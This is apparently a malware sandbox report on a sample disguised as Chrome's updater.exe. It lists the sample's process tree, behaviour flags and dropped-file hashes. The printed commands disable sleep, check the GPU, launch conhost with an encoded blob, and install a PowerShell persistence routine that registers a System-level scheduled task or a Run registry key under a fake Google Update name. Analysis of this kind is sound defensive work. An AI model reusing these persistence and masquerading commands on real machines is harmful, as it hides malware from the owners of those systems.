C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:1476
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:2080
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:4976
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:3320
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe enhjtjceqq2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4900
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵PID:2284
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4140
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe laqlphgirfhyyngj 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZe7ZXiwOLhA74FQzXCOhDuCEgX6WVRJena9L8fAOb/OCpbdBtftU9QMBxG8aHan0UHttTlDXmg8zTJWEzz1jyzM08ycWZiYcc5uJhds9Rh8+fDvfznlHAMreIYNxYX5k9xJHAc4B0ozcm5wxfAVR1NkkPB2hskLA90oq6EEwunLM+cHugrCZPmAL+xjChc1L0WUYPKljZ7G2hVhhzqEtgfjve5jiLrrwjfPxGeeAf9vve0gqrSPFO0K58xxNJ8ClGMWFD5JSZeWb9oJ+1bT+B66EYQJ/DUpMIB3mc6mheR6Uz+ZAzhdRWTbAqKAh0UuVcyH585aP1fgezLu1rTZuU+ONdhrRHHa5LNYPXLEE9VQc4O1CBkoqHonvDymgjUKbkFny/NdriyHYNCnaqXAUFBsl4P11o9bTzqhZekAP8RUmzlZiL9oK+TCU2oi2CBrYZ+cFhGlXxEFDSR6HvxTxKEz8AeOaHIGd5YzLX/uIE4og0LPZRMb6avDgM7T8uIlhBCKP5Sjpg7sgnkdrvB+eQRIA==2⤵
- Modifies data under HKEY_USERS
PID:4288
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4248 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xpzzfzp#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2440
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.6MB
MD5e5714adf276ab96cff90d3778ba51b7e
SHA15627bdf380aafe2b131c70e5c857739101a6fac3
SHA2567687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c
SHA5124dfd0f0e21c8a1865d6acaac6d66761a5b5c31a2fa0ca8960ad498a81930ff31579a56ee4e666b59b31f117e5d078305a1dd50d0a75cdc2a04733364425753c2
-
Filesize
3.6MB
MD5e5714adf276ab96cff90d3778ba51b7e
SHA15627bdf380aafe2b131c70e5c857739101a6fac3
SHA2567687dc9e1f582c340a6ce1ffdc1db7b273608e635177f53b65f3cde51f7cf65c
SHA5124dfd0f0e21c8a1865d6acaac6d66761a5b5c31a2fa0ca8960ad498a81930ff31579a56ee4e666b59b31f117e5d078305a1dd50d0a75cdc2a04733364425753c2
-
Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD52e907f77659a6601fcc408274894da2e
SHA19f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA51234fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
-
Filesize
1KB
MD558f473558345c4d2feab48d4999b148a
SHA1a58fec1ddadb3cb692cd1bac3d21d09592ec58ee
SHA25669496654c76a65ba517bb7ee3bacb598a1e778aa7ee7807bf7318087d8d39d22
SHA512f19f50701c05d050fa114e29544e77ce620c4f05619262781eb5a12906f3e4a0219d79ea574e2ace3bdad8c25346f2dad71e9768f64361321e9299061b7b87d0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3KB
MD500930b40cba79465b7a38ed0449d1449
SHA14b25a89ee28b20ba162f23772ddaf017669092a5
SHA256eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
SHA512cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5